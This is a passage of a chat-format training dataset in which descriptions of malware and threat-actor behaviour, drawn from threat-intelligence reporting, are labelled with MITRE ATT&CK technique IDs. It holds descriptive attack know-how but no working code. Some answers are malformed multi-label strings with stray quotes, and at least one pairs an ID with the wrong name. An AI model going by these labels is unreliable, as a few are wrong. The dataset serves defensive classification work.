                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv"
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware gathers system information via Windows Management Instrumentation (WMI)."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has created a user named “monerodaemon”."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has obtained and used open-source tools like Koadic, Mimikatz, and Responder."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"Install-SSP\" Persistence module can be used to establish by installing a SSP DLL."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession has the ability to use TCP and UDP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has encoded its communications to C2 servers using Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has used a tool that can obtain info about local and global group users, power users, and administrators."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can run  to gather information about the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian has the ability to use HTTP for its C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The network mode being set to the host along with the container trying to be deployed as a privileged container. The Docker Hub account of MegawebMaster has numerous public images, five of which have TeamTNT utilities with a significant amount of downloads. These five images include dockgeddon, docker, tornadopw, and dcounter (T1204.003"
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker created password-protected archives on the victims' OWA server so that they could be exfiltrated via a simple HTTP request"
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brave Prince collects hard drive content and system configuration information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, Palmerworm is also using stolen code-signing certificates to sign its payloads, which makes the payloads appear more legitimate and therefore more difficult for security software to detect. Palmerworm has been publicly documented using stolen code-signing certificates in previous attack campaigns"
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can decode its payload prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya's initial infection vector for the June 27, 2017 compromise was a backdoor in the Ukrainian tax accounting software M.E.Doc."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe collects the computer name of the victim's system during the initial infection."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hi-Zor deletes its RAT installer file as it executes its DLL payload file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad Rabbit has masqueraded as a Flash Player installer through the executable file \"install_flash_player.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to enumerate network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used the Stealer One credential stealer to target web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates internal strings and unpacks them at startup."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NBTscan can list NetBIOS computer names."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group tools have registered Run keys in the registry to give malicious VBS files persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used pass-the-hash tools to obtain authenticated access to sensitive internal desktops and servers."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has used VBScript to call wscript to execute a PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since 2020, Proofpoint researchers have observed TA416, an actor assessed to be aligned with the Chinese state, utilizing web bugs to profile their targets. Commonly referred to as tracking pixels, web bugs embed a hyperlinked non-visible object within the body of an email that, when enabled, will attempt to retrieve a benign image file from an actor-controlled server. This provides a “sign of life” to threat actors and indicates that the targeted account is valid with the user being inclined to open emails that utilize social engineering content. TA416 has been using web bugs to target victims prior to delivering malicious URLs that have installed a variety of PlugX malware payloads"
            },
            {
                "role": "assistant",
                "content": "T1608 - Stage Capabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt has the capability to identify the drive type on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers then created scheduled tasks that would launch the ransomware with names based on variants of Windows Update Security or Windows Update Security Patches"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEL-TEMP Deletes all files in the “AppData/Local/Temp” path"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can create backdoor accounts with the login \"HelpAssistant\" with the Limbo module."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL can communicate over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The last retrieved module is a persistence module. If the victim appears valuable to the attackers, a GRIFFON implant installer is pushed to the victim’s workstation. This module stores another instance of the GRIFFON implant inside the registry to achieve persistence. Here is a PowerLinks-style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon. The new GRIFFON implant is written to the hard drive before each execution, limiting the “file-less” aspect of this method"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can get user agent strings for the default browser from \"HKCU\\Software\\Classes\\http\\shell\\open\\command\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"Get-ProcessTokenPrivilege\" Privesc-PowerUp module can enumerate privileges for a given process."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla has the ability to act as a second-stage dropper used to infect the system with additional malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename: impku.dat:schemas File size: 608854 bytes MD5 hash: b774f39d31c32da0f6a5fb5d0e6d2892 SHA1 hash: ae3ff39c2a7266132e0af016a48b97d565463d90 Notes: Alternate data stream (ADS) PNG file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA"
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used GitHub to host malware linked in spearphishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used attempted to lure victims into opening malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A base working directory will contain the files/folders related to Carbon. This directory is chosen randomly among the folders in %ProgramFiles% but excluding “WindowsApps"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware  Capabilities  WINDSHIELD   Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports – randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly   KOMPROGO   Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system   SOUNDBITE   C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering   PHOREAL   C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload   BEACON (Cobalt Strike)   Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB    Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux has used HTTP in outbound communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) with the following commands (esentutil.exe is also a legitimate program that is pre-installed in Windows"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy’s main payload contains its back door functionality, allowing the threat to carry out the following activities:  Log keystrokes and the titles of open windows Gather clipboard data and system information Steal printer information and any documents that were sent to be printed Record audio Capture screenshots and webcam photos  Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&C servers"
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server \"195.62.52.93\" one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1041 - Exfiltration Over C2 Channel', 'T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches victim drives for files matching certain extensions (“.skr”,“.pkr” or “.key”) or names."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has used the command `timeout 20` to pause the execution of its initial loader."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has executed commands via cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can iterate over the running processes to find a suitable injection target."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard can use a list of hardcoded credentials to to authenticate via NTLMSSP to the SMB shares on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can obtain credential information from /etc/shadow using the shadow.py module."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. This version of mimikatz did not require any command line arguments, most likely in an attempt to avoid detection based on command-line auditing. The dumped hashes were used to authenticate to other machines via pass the hash"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of loading executable code via process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 executes shellcode and a VBA script to decode Base64 strings."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This information can then be transmitted to the attacker using protocols such as FTP, HTTP, and SMTP"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can load and call DLL functions."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has exploited Microsoft vulnerabilities, including CVE-2018-0798, CVE-2018-8174, CVE-2018-0802, CVE-2017-11882, CVE-2019-9489 CVE-2020-8468, and CVE-2018-0798 to enable execution of their delivered malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode is not encrypted but is obfuscated"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon decrypts task and configuration files for execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors registered hundreds of domains using Duck DNS and DNS Exit."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server. APT32 executed shellcode to identify the name of the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If nothing like that is detected, the malware will decrypt the third stage and execute it by using the process hollowing technique, commonly used by malware authors. In this version, the payloads are encrypted with the same XOR-based algorithm as the one used in previous versions, however in this latest version, the payload is encrypted twice, with different keys"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can send time zone information from a compromised host to C2."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can enumerate routine network connections from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
